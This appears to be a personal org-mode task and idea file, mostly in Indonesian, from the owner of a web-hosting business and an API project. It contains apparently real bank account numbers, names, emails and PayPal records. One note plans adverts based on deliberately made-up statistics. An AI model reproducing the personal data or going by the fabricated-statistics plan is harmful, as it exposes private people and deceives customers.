(bukan di periahs) kenapa di apid-access.log spanel semua keluarnya 127.0.0.1 ya?\n- log:\n  + [2014-04-16 Wed] fixed, released 0.26. tapi kenapa plack test suite gagal 3\n    test ya (ada timeout).\n** IDEA [2014-03-18 Tue] cara termudah memakai ga\n**** perl\n: perl -MGA::Easy -E'say GA::Easy->gen_rand_ip() for 1..1000'\n** IDEA [2014-03-12 Wed] text to speech indo, text to speech angka (mis: memanggil nomor antrian)\n- pilihan suara cowo/cewe\n** TODO [2014-02-21 Fri] nama/phrase friendly?\nmis: parse_id_phone agak gak terlalu ditonjolin, yg ditonjolin adalah: ketahui\ninformasi tentang sebuah nomor telepon (operator mana, kota mana, ...).\n** TODO [2014-02-21 Fri] log input terhadap sebuah fungsi (beda2x)\ncontoh: utk parse_id_phone kita tertarik untuk merekam semua informasi nomor\ntelepon yang dimasukin, mungkin berharga. untuk fungsi2x lain mungkin\ncuekin/biarin aja.\n** IDEA [2014-01-25 Sat] web interface: ajax  [#C]\n- beberapa fungsi bisa langsung dicoba tanpa submit\n- inspirasi: http://chir.ag/projects/name-that-color/#122222 tiap kali kita\n  ngetik satu tombol, kode rgb dan nama warna dan posisi berubah.\n- memang ajax gak bisa secepat javascript sih, tapi at least utk demo jadi lebih\n  interaktif.\n** IDEA [2014-01-21 Tue] kerjasama dengan website2x lain, jadi penyedia API\n- (lihat kasus contoh kode saham emiten BEI).\n- mempermudah user: consistent interface\n- mempermudah website: meringankan load karena kita jadi proxy, mempermudah\n  karena user jadi bisa menggunakan API, API lebih terexpose, dsb.\n** TODO [2014-10-07 Tue] ga: tanya ewing utk app pajak jk sdh ada tax funcs\n** IDEA [2014-10-07 Tue] idea gasite: register cukup masukkan email n username,  ga perlu konfitrm utk bs follow func/module, tp saat mau comment or do anything that potentally produce spam, hrs yg udah confirm email dl.\n** IDEA [2014-10-07 Tue] post transaksi keuangan spt ledger lewat cli api. ada completion dsb\n** IDEA [2014-10-07 Tue] kerjasama diskon member dg vendor lain mis accurate lah dsb.\n** TODO [2014-01-10 Jum] setup gudangapi.{com,org} di server dedicated IIX\n** TODO [2014-05-02 Jum] coba translate fungsi perl ke gudangapi\n- tambahin summary & description indonesia lalu merge\n** TODO [2014-05-02 Jum] bikin mockup dokumentasi fungsi gudangapi\n** TODO [2014-05-02 Jum] bikin mockup dokumentasi paket gudangapi\n** TODO [2014-05-02 Jum] bikin mockup form utk try fungsi gudangapi\n** TODO [2014-10-21 Sel] ga: buat cli\n- seperti 'riap' dan 'peri-run' digabung + some conveniences yang spesifik utk\n  gudangapi.\n- harus stabil, jangan banyak update, karena ini dideploy ke klien.\n** TODO [2014-10-02 Kam] bikin tutorial accounting command-line, pake client gudangapi\n** TODO [2014-10-02 Kam] pikirkan deployment client gudangapi\n- register username, simpan username/password di ~/.gudangapi.ini or whatever\n- gak bisa pake pericmd + perirf & ansitable kayaknya, walaupun pretty tapi\n  dependency terlalu banyak dan slow, pake pericmd-lite aja. fatpack.\n- harus cukup stable dulu, some users won't update the client for a long2 time.\n** IDEA [2014-09-21 Sun] release the perl modules under GUDANGAPI pause account\nsupaya user bisa pakai locally atau dengan satu interface\n** IDEA [2014-09-21 Sun] librari klien gudangapi perl: bisa search locally dan fallback ke network, atau sebaliknya...\n** IDEA [2014-08-27 Wed] tawarkan kerjasama dengan publisher software akunting (accurate, dsb)\n- data seperti propinsi, kode pos, dsb semuanya gratis\n- ada data yang bayar atau berlisensi, seperti ...\n** IDEA [2014-07-04 Fri] tawarkan kerjasama dengan orang tiki jne yg waktu itu mwn beli produknya 2jt, jualan data harga kirim (diupdate selamanya katanya)\n- ga tempat orang jualan data\n- sistem bagi komisi dsb\n** IDEA [2014-07-04 Fri] tawarkan kerjasama dg kurir2x (sekarang kan banyak tuh), biar mereka berlomba aja\n- kasih gratis? asal diupdate terus\n- begitu ada banyak komplain dari user, otomatis nanti fungsi API-nya jadi 503\n  (service unavailable).\n** IDEA [2014-07-04 Fri] sama seperti di cpanlists, kita bisa buat berbagai lists fungsi2x favorit dan bookmarks/collections\n** IDEA [2014-07-04 Fri] 2list: fungsi2x utk mengekstrak data dari teks\n- no telp\n- no kontak (including no telp, alamat, pin bb, ...)\n* proj/gudangapi/ideas/func [0/21]\n** WISHLIST [2014-03-29 Sab] func: generate printable stuffs (kalendar, dsb)\n** WISHLIST [2014-03-29 Sab] func: printable calendar (opsi: paper size, background image, ...) [#C]\n- opsi lain: masukkan satu atau lebih kalendar libur/aktivitas yang diinginkan\n- create mashup\n** WISHLIST [2014-03-29 Sab] func: hari2x libur negara lain        :business:\n- minimal amrik, negara2x sekitar atau partner dagang indo seperti singapore,\n  malaysia, china\n** WISHLIST [2014-03-29 Sab] func: (rw) store calendar organisasi [#C]\n- sudah ada google calendar, facebook events, dsb sebetulnya, gak terlalu penting.\n- malah sebaliknya fungsi2x api ini utk import/export calendar ke servis2x itu?\n** IDEA [2014-03-18 Tue] func: property: cari harga /m2 termurah (di bawah pasaran)\n- fungsi atau app untuk mencari dan alert kalau ada harga barang murah\n** IDEA [2014-03-18 Tue] func: generate random data: random IP address\n- some restrictions:\n  + hanya alamat intranet\n  + hanya negara tertentu aja\n  + hanya ISP tertentu aja\n  + valid/known IP only\n** IDEA [2014-03-18 Tue] func: generate random data: random phone number\n- some restrictions:\n  + hanya negara tertentu aja\n  + hanya wilayah tertentu aja\n  + hanya operator tertentu aja\n  + hanya fixed/land line aja\n  + jumlah digit (10, 11, 12)\n** IDEA [2014-02-26 Wed] fungsi: parse pesan m-Transfer BCA\ncontoh:\n: m-Transfer BERHASIL 16/12 18:13:07 Ke 2106017899 TOMMIE HARYANTO Rp. 247,500.00 tag 653903 Ref 016181306750\n: m-Transfer BERHASIL 14/12 20:44:25 Ke 7340360880 MASTER WEB NETWO Rp. 230,890.00 652808 silkiz Ref 014204424828\n: m-Transfer BERHASIL 20/02 18:01:26 Ke 2106017899 TOMMIE HARYANTO Rp. 192,555.00 Nila chandracake Ref 020180126285\n\n** TODO [2014-02-21 Fri] fungsi: whois, lookup geoip, yang umum2x\nuntuk mencegah blacklist, kita juga bisa menerapkan limit\n** IDEA [2014-01-25 Sat] fungsi: nama2x warna indonesia -> rgb (opsi fallback ke inggris)\n** IDEA [2014-01-25 Sat] fungsi: nama2x warna inggris -> rgb\n** IDEA [2014-01-25 Sat] fungsi: nama2x rgb -> warna indonesia (opsi fallback ke inggris, exact/ga)\n** IDEA [2014-01-25 Sat] fungsi: nama2x rgb -> warna inggris (opsi exact/ga)\n** IDEA [2014-01-21 Tue] fungsi list kode saham emiten BEI: (kerjasama dengan website2x yang sudah ada)\n- dan harga saham, harga saham historikal, ...\n- kita menerbitkan or jadi proxy/interface untuk API website tersebut, kita\n  kasih credit. ada some caching. kita memperingan beban si website.\n** IDEA [2014-01-16 Thu] fungsi: generate random person data (khusus indonesia)\n** IDEA [2014-01-16 Thu] fungsi: generate random text (khusus indonesia)\n** IDEA [2014-01-16 Thu] fungsi: generate random password (khusus indonesia)\n** TODO [2014-08-27 Wed] gafunc: parsing indo dates: besok, minggu pertama di bulan april, ...\n** TODO [2014-12-19 Jum] gafunc: something like skypipe\nkita bisa pipe data to the cloud eg, someprog | skypipe somename. lalu nanti\nfrom anpther machine: skypipe somename | processdata.\n\nsecurity implications though :p\n** IDEA [2014-10-27 Mon] gafunc: konversi unit fisik, konversi suhu celcius/fahrenheit/K/reamur, berat\n** IDEA [2014-10-27 Mon] gafunc: harga bahan bakar\n** IDEA [2014-10-27 Mon] gafunc: menghitung luas tanah/bangunan dari input denah/gambar\n** IDEA [2014-10-27 Mon] gafunc: menghitung BMI, berat badan ideal   :health:\n** IDEA [2014-10-27 Mon] gafunc: menghitung IPK\n** IDEA [2014-10-27 Mon] gafunc: data grafik berat badan normal, tinggi badan normal bayi\n** IDEA [2014-10-27 Mon] gafunc: menghitung kredit kepemilikan mobil/motor/rumah\n** IDEA [2014-10-27 Mon] gafunc: menghitung analisis impas/break-even  :finance:\n** IDEA [2014-10-27 Mon] gafunc: menghitung jumlah kas optimal dalam anggaran kas (rumus model baumol, model miller-orr)  :finance:\n** IDEA [2014-10-27 Mon] gafunc: menghitung depresiasi aset (dengan berbagai metode)  :accounting:\n** IDEA [2014-10-07 Tue] gafunc: detect reply prefix (Re:|Bls:|...) di subjek email [#C]\n** IDEA [2014-09-19 Jum] gafuncs: complete accounting from commandline/api\n- mulai dari bikin company, bikin akun, modify akun, post transaksi, generate\n  reports.\n** IDEA [2014-08-27 Wed] gafunc: Locale::ID::ParseName\n- cowo/cewe, suku\n- contoh kasus: [2014-08-27 Wed] gw punya ratusan nama alumni, pengen nyari satu\n  orang tertentu (cowo, orang jawa, nama gak tau), nama dari list gw masukin ke\n  google image search semua. kalo bisa sih supaya lebih efisien, gw bisa filter\n  dulu yg cewe buang, yg suku tertentu (mis ada nama batak) buang, jadi bisa\n  lebih sedikit.\n** IDEA [2014-08-22 Fri] gafunc: tzdata routines\n** IDEA [2014-08-15 Fri] gafunc: kode bank atm bersama indonesia (selain atm bersama, ada sistem jaringan antarbank lain ...)\n** IDEA [2014-08-08 Jum] gafunc: anagram (cek apakah sebuah kata adalah anagram) [#C]\n** IDEA [2014-08-08 Jum] gafunc: anagram (produce anagrams of a word or phrase) [#C]\n** IDEA [2014-08-08 Jum] gafunc: cek apakah sebuah string adalah kata (bhs indo, inggris) [#C]\n- cek dari wordlist\n** IDEA [2014-08-08 Jum] gafunc: sudoku creator and solver [#C]\n** IDEA [2014-08-08 Jum] gafunc: cross-word puzzle creator and solver [#C]\n** IDEA [2014-07-10 Thu] gafunc: parse/ekstrak nomor rekening bca/dsb dari teks\norang kalo menyebutkan pembayaran ke mana, nyebutin nomor rekening bca seperti ini:\n:\nPelunasan terakhir kekurangan dana reuni sebesar 1,300k IDR dikirimkan ke rekening:\n: BCA 7770094601\n: A.N. Tria Indrasari\n: Berita: Nama peserta reuni\n\nkita parse norek (dan cek juga apakah valid), account holder, dan nama cabang\n( sampe keluar kode cabangnya, apakah valid )\n,\n* proj/gudangdata [0/0]\n* proj/langlearn/fr [0/0]\n* proj/langlearn/jv [0/0]\n** TODO [2014-12-03 Wed] jv words: gelem, konco, dewe, sakarepe\n* proj/langlearn/zh-m [0/0]\n* proj/langlearn/su [0/0]\n* proj/mwn [3/23]\n** TODO [2015-04-03 Fri] cek apakah pengeluaran utk mason rumengan utk develop nge.mobi, ngetalk, itu dibebankan ke mwn atau gak\n- server di rackspace.com, ip saat ini 119.9.12.101\n** DONE [2014-01-30 Thu] kesel2x ubah http://catalog.localdomain/api/ dari pake fastcgi jadi pake cgi\nkonfigurasi fastcgi sering internal server error, ngedebugnya juga gak ideal\nagak susah liat lognya.\n- log:\n  + [2014-02-18 Tue] done\n** TODO [2013-10-11 Jum] mkey: jquery utuk hide/lock [x] Registrar Lock di clientarea utk domain2x yg baru register 1th supaya gak bisa transfer out\n- karena aturan di kita, tahun pertama gak boleh transfer out\n** BUG [2013-08-15 Thu] bug di skrip convert-passwd-cdb-case1\njangan dipake dulu skrip ini?\n\n10:26:04 AM\npianmwn \xC2\xA0\nsbtr koh dicek\nsudah bisa dterima sama ika koh email dari saya\ntapi anehnya kl kirim dari ariska\@masterweb.com ke billing\@masterweb.com dan billing\@masterweb.net, si ika gak nerima email ccnya\n\n10:32:29 AM\nstevenharyantomwn \xC2\xA0\ncoba lagi skr\nkayaknya skrip convert-passwd-cdb-case1 gw ada bug deh\nmengubah setting has mailbox from No jadi Yes\ndan kalo jadi Yes, ga keforward?\nskr gw recreate lagi, tlg dites lg\n\n: % HOME=. listvdomain | grep billing\n: billing No ariska lily novia catrin nia aam hugo glendy budi nurlita sophia dedie yona pupututami soraya ekanita anisa ganesya fath\n: % convert-passwd-cdb-case1\n: % HOME=. listvdomain | grep billing\n: billing Yes ariska lily novia catrin nia aam hugo glendy budi nurlita sophia dedie yona pupututami soraya ekanita anisa ganesya fath\n\n** TODO [2013-08-07 Wed] suspend otomatis akun yang kena malware\n- pakai laporan/log laporan dari clamscan (sudah dibuat sama anak2x)\n** TODO [2014-03-29 Sab] develop mkey api to give api access to server hosting\n- tujuan utama gw adalah ingin agar admin hosting seperti ade dan pian bisa\n  mengirim tiket masterkey dari shell scripts command-line. karena mereka bisa\n  bikin2x skrip bash sederhana utk mengecek backup atau untuk mengecek malware\n  pake clamscan, tapi lalu saat ingin otomatis suspend atau kirim tiket ke\n  klien, something like this:\n  : if clamscan /u/\$user/sites; then mkey send-ticket (--server server42435 [autodetect jk tdk disebutkan]) --username \$user --msg \"Akun anda mengandung malware, bla bla bla\"; fi\n- rencananya, gw akan setup API service http di masterkey.masterweb.com/mkapi/\n  (cgi dulu juga gpp, biar simple), nanti ini akan forward Riap request to radon\n  which is where the service is located.\n- utk otentikasinya, inginnya sih prosesnya begini: dari server hosting admin\n  sebagai root execute:\n  : # mkey request-login-token\n  : Request sent to https://masterkey.masterweb.com/mkapi/\n  : Please type the approval key (to see the approval key, login to Masterkey and go to https://.../):\n  ini akan mencatat some unique string di ~root/.mkeyrc atau whatever, lalu\n  memanggil masterkey.masterweb.com/mkapi utk request login token. nanti di\n  halaman admin mkey ada daftar login token yg udah direquest, biar aman expire\n  dalam 5 menit dan hanya menerima dari ip server yang dikenali di whmcs. jika\n  diklik approve maka akan keluar approval key, ini juga biar aman expire dalam\n  5 menit. approval key ini tinggal dicopy paste ke: perintah di atas.\n- utk security, masterkey.masterweb.com/mkapi bisa dibatasi dulu hanya bisa utk\n  suspend, unsuspend, dan kirim/reply tiket aja. dan untuk menerima request\n  login token.\n** WISHLIST [2014-02-26 Wed] parse pesan sms m-Transfer yg diforward klien langsung jadi pconf\nsaat ini cuma dikit sih, sebulan paling 3-4 biji. gak worth it.\n** TODO [2013-12-19 Thu] mkey: api: server hosting yang saat ini kosong/bisa diisi\n** TODO [2013-11-14 Thu] mkey: halaman receipt.php: tambah filter Sudah Kirim FPS Ya/Tidak\n- tujuannya biar mempermudah staf finance yg ingin mengirim invoice/kuitansi\n  sekalian bersama2x FPS. jadi setelah generate FPS, baru generate invoice PDF\n  dan kuitansi di halaman ini.\n** TODO [2013-11-14 Thu] mkey: halaman receipt.php: tombol grid action: Generate Invoice\n- langsung mengeprint invoice PDF dari banyak invoice yang dicentang [x].\n- harus ngakalin dulu gimana caranya, karena invoicepdf saat ini per invoice.\n** TODO [2013-11-14 Thu] mkey: halaman receipt.php: tombol grid action: Generate Receipt\n- langsung mengeprint kuitansi dari banyak invoice yang dicentang [x].\n- harus integrate skrip kuitansi dari glen.hosting.localdomain.\n** TODO [2013-11-14 Thu] mkey: halaman pengiriman dan field klien Informasi Alamat Kirim\n- field IAK ini mirip seperti field Informasi Faktur Pajak, tujuannya agar klien\n  bisa customize pengiriman invoice/kuitansi ke mana (yang bisa berbeda dari\n  alamat di profil whmcs, atau berbeda dengan pengiriman faktur pajak di field\n  IFP).\n- tujuannya supaya nanti lebih gampang masukin, gak usah per kasus klien ngasih\n  tau lewat tiket/email/telp.\n** TODO [2013-10-02 Wed] cek apakah ada API utk manage lisensi cpanel seperti di spanel\n- supaya pembelian lisensi oleh klien bisa dimanage juga dengan whmcs\n** IDEA [2014-10-07 Tue] Mwn ngiklan di facebook?\n** TODO [2014-12-10 ]update mediawiki 1.18 ke 1.24 di kb.mwn/client\n- yang kb.mwn/internal sudah dicoba dan ok (waktu itu diupgrade karena ada error\n  saat mo ngupdate, terjadi di https tapi gak di http, laporan pian)\n- jangan lupa test kb.masterweb.com\n** TODO [2014-12-19 Fri] bahan mweting mwn: review efekrivitas video. upload ke yt? harus nama majang terus?\n** TODO [2014-12-19 Fri] ide nama domain utk jualan server: crash... maintenis, hang.., crashnhang, reboot, reset...,\n** TODO [2013-11-01 Jum] 2mention \@meeting: apply cuti/absen utk semua staf tanpa terkecuali (gw, dhiar)\n** TODO [2013-10-24 Thu] security: prokc: restriction IP\ninstead of blindly allowing mis telkomsel flash (seabrek2 blok B atau /18, dsb),\ngimana kalo kita allow telkomsel flash (per provider) lalu wajibkan login lagi.\n\natau setelah IP tersebut terekam, kita larang IP lain?\n\natau 2-factor authentication? kirim SMS atau sesuatu yang lain dulu untuk\ndaftarkan IP kita.\n** DELEGATED [2013-10-21 Sen] 2co: ovh.com & online.net\n- lebih murah dari hezner, tapi ovh.com ada ddos protection. ini zaman theplanet\n  dulu yang ga ngasih ddos protection, server kita di-nullroute doang.\n- DELEGATED [2013-11-12 Tue] tomi. waktu nyari mesin dns baru, gw kasih tau.\n** TODO [2013-10-03 Thu] (ongoing) bahan meeting manajemen\n- cek cctv? liat2x kelakuan staf [ide dari jimmy [2013-10-03 Thu]]\n** BUG [2013-07-16 Tue] parse paypal csv: bisa mengandung newline\n: \"7/7/2013\",\"22:08:05\",\"PDT\",\"Johanes Gunawan\",\"Web Accept Payment Received\",\"Completed\",\"USD\",\"6,70\",\"-0,53\",\"6,17\",\"johanesg\@yahoo.com\",\"paypal\@masterweb.net\",\"84L9263613922645L\",\"Non-U.S. - Verified\",\"\",\"MWN - Tagihan #572125\",\"\",\"0,00\",\"\",\"0,00\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"572125\",\"\",\"4.852,19\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\n: \"7/7/2013\",\"21:32:13\",\"PDT\",\"Triinti International PT\",\"Web Accept Payment Received\",\"Completed\",\"USD\",\"16,24\",\"-0,85\",\"15,39\",\"tonny\@triinti.com\",\"paypal\@masterweb.net\",\"84U90017NM108892U\",\"Non-U.S. - Verified\",\"\",\"MWN - Tagihan #553218\",\"\",\"0,00\",\"\",\"0,00\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"553218\",\"\",\"4.846,02\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\n: \"7/7/2013\",\"20:53:42\",\"PDT\",\"Softaculous Ltd.\",\"Web Accept Payment Sent\",\"Completed\",\"USD\",\"-95,00\",\"0,00\",\"-95,00\",\"paypal\@masterweb.net\",\"billing\@softaculous.com\",\"07N95643SL428403G\",\"Non-U.S. - Verified\",\"Non-U.S.\",\"Number of VPS : Unlimited\n: Number of Months : 12\n: Discount : \$13\",\"\",\"0,00\",\"\",\"0,00\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"58307\",\"\",\"\",\"4.830,63\",\"Cyber Building 9th Floor\",\"Kuningan Barat 8\",\"Jakarta\",\"DKI\",\"12710\",\"Indonesia\",\"\",\n: \"7/7/2013\",\"20:09:22\",\"PDT\",\"Payment Processing, Inc.\",\"Web Accept Payment Sent\",\"Completed\",\"USD\",\"-5.000,00\",\"0,00\",\"-5.000,00\",\"paypal\@masterweb.net\",\"paypal\@myorderbox.com\",\"4P0367055H3404816\",\"Verified\",\"\",\"AddFund-R-75578-6085693\",\"AddFund-R-75578-6085693\",\"0,00\",\"\",\"0,00\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"4.925,63\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\n** TODO [2013-04-03 Wed] pelengkap kb http://kb.masterweb.net/beta/index.cgi/read/Komplain_terhadap_situs_di_MWN : form utk mengecek sebuah website dihost di MWN atau tidak\n- mis: masukkan nama domain/website: [http://www.foo.com]\n- hasilnya bisa: domainnya diregister di MWN, nameservernya ke mwn, hostingnya\n  saat ini tidak di MWN. dsb.\n- sebaiknya form ini diberi captcha dan hanya tersedia bagi yang udah\n  login/signup ke masterkey.\n** IDEA [2013-03-09 Sat] kumpulin website perusahan2 TBK/makanan/dsb yg udah gede2x\n- mis: ot.co.id, yummy-dairy.com, ultra, deltajkt.co.id, dsb.\n- mana yang belum dihost di mwn.\n- cek speednya dengan whatever (google webmaster tools), dsb.\n- cek keamanannya.\n- review desainnya.\n- laporannya kita kirim via email dan kertas ke perusahaan ybs. kalo perlu kirim\n  staf utk presentasi juga. tawarin desain. dan kalo ada produk lain yang mau\n  ditawarin...\n- tawarin dedicated, dsb.\n** TODO [2013-01-22 Tue] kb: ganti/lengkapi instruksi berbicara langsung dengan server smtp dengan cara penggunaan swaks\n** TODO [2012-12-27 Thu] marketing: teleponin eprusahaan2 yg listed di yellow pages, tawarin bikin website\n** TODO [2012-12-27 Thu] bikin tutorial troubleshooting ssh kenapa gak bisa masuk (atau di spanel aja?)\n** TODO [2012-12-27 Thu] bikin tutorial email kenapa gak bisa masuk (sebagian besar utk spanel akan diotomasi)\n** DONE [2012-12-05 Wed] bikin pastebin utk mwn, mis: http://paste.localdomain/\n- nyobain Pastedance, susah instalnya, plus pake mongodb (belum ada sistem\n  backupnya di server spanel). dibikinin web-paste-simple oleh tobyink, mayan\n  sih bagus sederhana.\n** IDEA [2012-10-03 Wed] kuis di forumi untuk pakai api spanel\n- nanti setelah spanel 2 released\n- biar staf pada mahir menggunakan api spanel\n- contoh: print plan semua akun\n: # spanel list-accounts --fields '[name, plan]'\n- contoh: hitung jumlah akun eksekutif\n: # spanel list-accounts --fields '[name, plan]' | grep EKSE | wc -l\n- contoh: berapa jumlah domain yang dihosting di luar MWN (A recordnya mengarah ke server lain?)\n- contoh: berapa jumlah site yang dihosting di server\n: # spanel list-sites | wc -l\n: # spanel count-sites; # lebih cepet?\n- contoh: berapa jumlah akun yang disuspend?\n- contoh: berapa jumlah akun yang dimigrasi?\n- contoh: siapa akun yang paling memberatkan server (dari situ, siapa yang belum disuspend?)\n- contoh: tampilkan ukuran pemakaian disk dari tiap akun EKSEKUTIF\n- contoh: berapa jumlah database mysql tiap akun?\n- contoh: berapa jumlah database mysql rata2x tiap akun?\n- contoh: berapa ukuran rata2x database mysql?\n** TODO [2012-06-15 Fri] nyobain masang iklan \"herd mentality\"\n- idenya ini gw dapet dari buku \"nudge\" atau dari artikel tentang jepang (orang\n  jepang sangat herd mentality, pemasar koneksi broadband ke rumah2x misalnya,\n  selalu bilang: semua tetangga anda sudah pasang koneksi broadband, tinggal\n  anda aja [padahal boong, misalnya di neighborhood itu isinya lansia semua]).\n  intinya utk show bahwa mayoritas orang sudah decide, jadi kamu ga usah cape2\n  decide lagi.\n- statistik yang dipilih tentulah harus yang sudah menunjukkan mayoritas, jadi\n  gak bisa pake statistik mis: domain .id yg didaftar di mwn (7.8% total domain\n  di pandi).\n- harus make-up statistics dulu ya, belum ada nih:\n  + xx% domain .co di indonesia didaftar di mwn?\n  + xx% ynag hosting di MWN merasa puas [setelah X bulan pertama, ...]\n  + xx% yang pindah hosting ke MWN dari hosting lain merasakan kecepatan akses\n    situsnya naik X persen.\n** TODO [2012-06-15 Fri] nyobain masang iklan \"nudge priming\"\n\"apakah anda berencana membeli hosting dalam seminggu/sebulan ke depan? jika ya,\nbaca ini dulu. [jangan lewatkan kesempatan ini, dsb.]\"\n** TODO [2012-06-12 Tue] migrasiin semua tabel innodb ke myisam\n- ref: https://forum.mwn.localdomain/viewtopic.php?t=43288\n- menunggu beberapa fungsi api nih biar gampang: list semua tabel mysql di semua\ndatabase, atau mencari database (+ nama kliennya) yang memenuhi kriteria\ntertentu (i.e. enginenya innodb).\n- dreamed up code:\n\n: \$res = list_mysql_dbs(detail=>1, table_search=>{uses_engine=>'innodb'});\n: die \"Can't list dbs: \$res->[0] - \$res->[1]\" unless \$res->[0] == 200;\n: \$dbs = \$res->[2];\n: for my \$db (\@\$dbs) {\n:     my \$acc = \$db->{account};\n:     next unless \$accs{\$acc};\n:     \$res = get_account_info(account=>\$acc);\n:     # ... kirim email ke klien tersebut, kasih tau nama2x tabelnya\n:     \$accs{\$acc}++;\n: }\n\nseminggu kemudian... langsung migrasiin aja semua dengan \"ALTER TABLE ...\nENGINE=...\"\n** IDEA [2012-06-06 Wed] paket hosting khusus database remote\n- bisa dari IP mana aja (tapi tentu bisa juga dibatasi IP-nya, bisa multiple IP)\n- ada log IP?\n- server harus terpisah dari paket hosting lainnya, for security\n** TODO [2012-05-29 Tue] bca: coba cek lagi betulkah mutasi (html version) dari bca bergeser barisnya (mis pagi row 101 = 100rb, 102 = 60rb; sore row 101 = 60rb, ...) atau hanya karena salah parsing (versi teks) aja?\n- agak aneh kalo database bca menghasilkan output yang bergeser seperti ini,\n  kemungkinan lebih besar adalah salah parsing di sisi gw.\n** TODO [2012-04-19 Thu] bahan meeting: tetap gak ada yg suka moderate posting forumk\n** TODO [2012-02-23 Thu] ssl vpn ke jaringan internal mwn, mirip2x seperti ssl vpn softlayer\njadi kita login ke sebuah website https, di situ ada java applet. dijalanin\nsebagai root. nah di komputer kita jadi ada interface network tun0 ber-IP\n10.x.x.x, bisa dipake utk konek ke jaringan internal.\n\n** IDEA [2012-02-16 Thu] interface di client area masterkey untuk aktivasi order\n- kalau whmcs disetting agar otomatis melakukan aktivasi/fulfilling order\nlangsung saat pay invoice, setting ini global dan affect semua operasi, bikin\nlelet (terutama karena registrasi domain tuh sering lelet).\n- tapi kalo nunggu bot create, kadang2x juga lelet, bisa sampe 1 jam nunggu.\n- klien butuh cepat.\n- perlu ada interface di client area untuk klien klik dan attempt domain\n  registration dan hosting creation.\n- idealnya sih sebenernya otomatis saat pay, tapi ya itu... sistem lelet.\n** IDEA pake ioncube encoder utk fasilitas gratis bagi akun hosting di spanel\n** IDEA [2012-02-05 Sun] jadi training serifikasi cpanel, training perl utk bagian sert cpanel\n** IDEA [2012-02-05 Sun] kursus tesu\n- cara baca header email, how email works\n- cara pakai less\n-\n-\n** DONE [2013-10-01 Tue] split forum management di forumi jadi manager {sales/supp,hrd,finance,it,rnd,ga}, bod/owners\n- tujuan awalnya gw gak pengen jimmy tahu menahu soal gaji2x karyawan, tar rese\n- biar aman taruh di forum lain di encrypted partition? biar ga bisa diutak-atik admin\n- mungkin gini:\n  + HRD\n    - management only\n    - supervisor+ only\n    - open to all\n  + Finance\n    - management only\n    - supervisor+ only\n    - open to all\n  + Sales\n    ...\n- trus nanti ada forum BOD/owners\n- log ::\n  + [2015-01-05 Sen] already done\n** DONE [2013-11-22 Jum] gimana setup vpn client di komputer/laptop gw?\n- log ::\n  + [2015-01-05 Sen] already done, lihat notes/technical.org, dengan openvpn\n** TODO [2014-02-28 Fri] liat tutorial2x spanel dan update jika caranya sudah lebih mudah/berubah\n** TODO [2012-02-05 Sun] ongoing: usahakan selalu ada diskon di mwn\n** TODO [2012-01-28 Sat] pindahin salah satu dari masterwebnet.com / masterweb.net ke registrar lain\n- dns gimana, bakal mati gak?\n** IDEA [2012-01-25 Wed] kirim kue ultah untuk klien2x gede\n** IDEA [2012-01-25 Wed] buat bagian cancellation, teleponin mereka2x yg udah expired (klien2x gede)\n** IDEA sediain form call me back (kayak techscape)           :marketing:\n** IDEA sediain nomor toll free (bisa diatur hanya utk lokal aja, kayak techscape)  :marketing:\n** CANCELLED sediain nomor kontak flexi/esia buat calon pelanggan luar kota  :marketing:\n- log ::\n  + [2015-01-05 Sen] cancel, cdma is dead.\n** CANCELLED ganti password internet banking secara berkala  <2012-04-20 Xxx +4m>\n- log ::\n  - [2011-10-20 Thu] whmcs/masterkey ada hole semingguan, ada yang ngintip\n    configuration.php entah berapa banyak, di situ ada password internet banking\n    (password spanel juga, dll). gile.\n  - [2012-02-15 Wed] pending 2 bulan lagi.\n  - [2012-04-14 Sat] diset CANCELLED karena males :-/\n** TODO perpanjang domain MWN: masterweb.com  <2019-01-10 Mon +5y -6m>  :domain:\n- [2012-04-14 Sat] belum gw catet tanggal pastinya, yang jelas sesudah 1 apr\n  2013 karena baru beli/transfer awal april.\n- [2013-01-22 Tue] gw perpanjang 6 th supaya sama2x 2019 seperti masterweb.com\n** TODO perpanjang domain MWN: masterweb.net  <2019-07-03 Mon +5y -6m>  :domain:\n** TODO perpanjang domain MWN: masterwebnet.com  <2019-04-11 Mon +5y -6m>  :domain:\n- [2013-01-22 Tue] gw perpanjang 6 th supaya sama2x 2019 seperti masterweb.com\n** TODO perpanjang domain MWN: masterweb.co  <2017-11-23 Aaa +4y -6m>  :domain:\n- [2013-07-11 Thu] diperpanjang 4th, godaddy, 29.99\$/y\n** TODO perpanjang domain MWN: temporaryonly.{com,net}  <2018-06-26 Aaa +5y -6m>  :domain:\n- [2013-06-26 Wed] pertama beli, agar url sementara gak pake .masterweb.net\n  (banyak yang kena malware, masterweb.net jadi ikut kena warning di google).\n** DELEGATED perpanjang domain MWN: archive.or.id <2013-10-02 Aaa +3y -6m>  :domain:\n- didelegasiin ke lily dan masterkey, gw dapet pemberitahuannya lewat email.\n** TODO perpanjang ssl *.masterweb.com  <2016-08-05 Aaa +5y -1m>\n** TODO ruang tidur utk staf support yg abis shift 2/3 (nanti kalo udah ada ruko)\n** TODO [2014-01-20 Mon] mwn: buat api yg lebih gampang agar bisa kirim tiket mkey dan suspend akun dari server hosting\npreferably cmdline dan tanpa password dari root, supaya admin2x bisa melakukan\ndan incorporate in their scripts, mis:\n# mkey-open-ticket      --account U1 --dept ... --subject blah --content blah...  ; # katanya pengen sekalian post kutipan dari skrip pian yg pake clamscan\n# mkey-suspend-account  --account U1\n** IDEA [2014-08-27 Wed] ide utk API forumi:\n- DONE list users + posting by month\n- absensi\n- cli tool utk absensi\n** IDEA [2014-08-27 Wed] minta whisnu bikinin gui/desktop app utk absensi\n- API forumi utk mengakses data absensi nanti disediakan\n** TODO [2014-11-12 Wed] coba bulk pricing updater addon whmcs\nhttp://docs.whmcs.com/Bulk_Pricing_Updater_Addon\n** TODO [2014-10-31 Fri] integrate modul whmcs onapp\nhttps://docs.onapp.com/display/WHMCS/WHMCS\n** TODO [2014-08-14 Thu] install gitprep utk github clone di lokalan\n- terakhir instal itu saat view repo mwn atau mana, dapetnya out of memory\n- sebenernya gw kurang suka harus pake 